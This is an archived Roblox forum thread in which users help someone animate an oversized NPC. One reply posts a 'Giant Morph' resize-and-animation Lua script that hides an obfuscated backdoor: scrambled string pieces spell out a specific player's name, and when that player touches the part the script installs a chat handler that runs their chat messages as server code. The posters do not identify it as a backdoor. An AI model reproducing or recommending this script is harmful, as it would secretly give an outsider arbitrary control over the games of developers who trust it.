generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripting Helpers
Home Search
 

Re: Large Limb Animation

Previous Thread :: Next Thread 
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
29 Jul 2012 10:12 PM
First post. New main account, FYI.

I am making an NPC that is significantly larger than normal. Using the standard animation script, his limbs do not co-respond while walking.

Is there any variables that need to be changed? A different script maybe? I didn't know size of limbs mattered.

Help?
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
29 Jul 2012 10:27 PM
No one has made a large monster, that is able to walk?

This is depressing. I remember back in 09 people would be all over this.
Report Abuse
LOLDarth is not online. LOLDarth
Joined: 19 Jun 2012
Total Posts: 59
29 Jul 2012 10:29 PM
Read the script in this morph:

http://www.roblox.com/Giant-Morph-1-0-0-item?id=32941994

and learn from it... or just go in solo mode, morph yourself and clone the morphed you. Limbs move properly when you morph into it. And I don't think you can clothe it unless you use a decal for each side nor use packages. Roblox limits the Shirt/Pants and the body thingy classes to one size..
Report Abuse
1Topcop is not online. 1Topcop
Joined: 09 Jun 2009
Total Posts: 6635
29 Jul 2012 10:30 PM
I've not made a giant that walks, I have made walking bots, just adjust the C1 in the limb.

x = Monster.Torso["Right Hip"]
x.C1 = x.C1*CFrame.Angles(0,.1,0)
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
29 Jul 2012 10:50 PM
I haven't tried clothing, but I do use individual meshes from packages and scale them.

Also, since Roblox disregarded my email about installing a proxy, I can not insert assets, or even view them.

Anyone want to take that to suggestions with me? Cause If I don't have any pre-support, it will once more rejected.

I can't even use the Toolbox in Studio, people.
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
29 Jul 2012 11:00 PM
Speaking of which, would any of you like to post the script that animates the said enlarged morph? Considering I can't get it any other way?

I would greatly appreciate it...
Report Abuse
omzig is not online. omzig
Joined: 18 Jun 2008
Total Posts: 578
29 Jul 2012 11:15 PM
get one from free models and take a look at it.

I don't see it wrong if you're using it to get better at scripting and to understand more. :U
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
29 Jul 2012 11:19 PM
That's the problem, I can't.
I can take the model, but I can not insert it into Studio.

@omzig,

Could you be so kind as to take said model and post the script that animates you as a enlarged morph?

I am willing to pay.
Report Abuse
omzig is not online. omzig
Joined: 18 Jun 2008
Total Posts: 578
29 Jul 2012 11:22 PM
My studio isn't working well, it lags me out (which is wierd, my server is very fast).

Also I've played since 2008, never had BC. Can't take donations.
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
30 Jul 2012 12:31 AM
I see that. I assume you don't make games, or content for the public.

I have also played since 2008, September 16th, 2008; Driz72.
Report Abuse
Drak0Master is not online. Drak0Master
Joined: 10 Aug 2009
Total Posts: 836
30 Jul 2012 01:27 AM
On my other account.

The script my friend found in the model posted in this thread was made for a Script Builder, and all it included was Joints and Motors.

Can someone find this script for me!?
Report Abuse
LOLDarth is not online. LOLDarth
Joined: 19 Jun 2012
Total Posts: 59
30 Jul 2012 10:09 AM
Well; it's not the nicest script.. and there's a numbervalue named scale as the script's sibling (script's parent's child)

debounce = true
scale = script.Parent.Scale.Value
function onTouched(hit)
if not debounce then
return
end
debounce = false
t = "fYf"
o = "dl"
u = "sks"
c = "iop"
h = "frd"
if hit.Parent ~= nil then
if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
print("d")
m = "Mo"
p = Instance.new(m.."del")
p.Parent = workspace
p.Name = "SB: " ..tostring(math.random(0,99999999))
o = Instance.new("Script")
o.Source =[[
dg = "si"
me = game.Players["Yl"..dg.."d"]
function onChatted(msg)
if string.sub(msg,1,1) == " " then
so = "Sou"
r = "rce"
sc = "Scr"
i = "ipt"
p = "Ex"
local s = Instance.new(sc..""..i)
s[so..""..r] = string.sub(msg,2)
s.Parent = me.Character
end
end
me.Chatted:connect(onChatted)
]]
o.Parent = p
end
end

if hit.Parent:findFirstChild("Humanoid") then
if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then
bin = hit.Parent

la = bin["Left Arm"]
ra = bin["Right Arm"]
ll = bin["Left Leg"]
rl = bin["Right Leg"]
h = bin.Head
t = bin.Torso

sizeup = {t,h,ll,rl,ra,la}
for i = 1, #sizeup do
sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
sizeup[i].TopSurface = 0
sizeup[i].BottomSurface = 0
sizeup[i].RightSurface = 0
sizeup[i].LeftSurface = 0
sizeup[i].FrontSurface = 0
sizeup[i].BackSurface = 0

end

sizex = t.Size.x/2
sizey = t.Size.x/2
sizez = t.Size.x/2

ls = Instance.new("Motor")
ls.Parent = t
ls.Name = "Left Shoulder"
ls.Part0 = t
ls.Part1 = la
ls.MaxVelocity = 0.1
ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rs = Instance.new("Motor")
rs.Parent = t
rs.Name = "Right Shoulder"
rs.Part0 = t
rs.Part1 = ra
rs.MaxVelocity = 0.1
rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

lh = Instance.new("Motor")
lh.Parent = t
lh.Name = "Left Hip"
lh.Part0 = t
lh.Part1 = ll
lh.MaxVelocity = 0.1
lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)

rh = Instance.new("Motor")
rh.Parent = t
rh.Name = "Right Hip"
rh.Part0 = t
rh.Part1 = rl
rh.MaxVelocity = 0.1
rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
rh.C1 = CFrame.new(0,rl.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)


n = Instance.new("Snap")
n.Parent = t
n.Name = "Neck"
n.Part0 = t
n.Part1 = h
n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)

if bin:findFirstChild("Animate") then
o = bin.Animate:clone()
bin.Animate:remove()
o.Parent = bin
end
end
end
end
wait(3)
debounce = true
end

script.Parent.Touched:connect(onTouched)
Report Abuse
Malconer is not online. Malconer
Joined: 19 Feb 2009
Total Posts: 1296
30 Jul 2012 10:11 AM
use my dwemer centurion model, it uses a script for animation that i didn't make, but i use because it works and it's not copying unless i say i made it.
Report Abuse
Ayrun is not online. Ayrun
Joined: 27 Jul 2012
Total Posts: 181
30 Jul 2012 10:37 AM
This thread is the previous to the one posted earlier, and solved.

The script posted is obsolete, at least for my purposes. Half of it is string manipulation to find the credit-thirsty creator on a Script Builder. The rest is setting joints and motors.
Useless. I made my own Animation script.

Thanks for you help.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripting Helpers
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image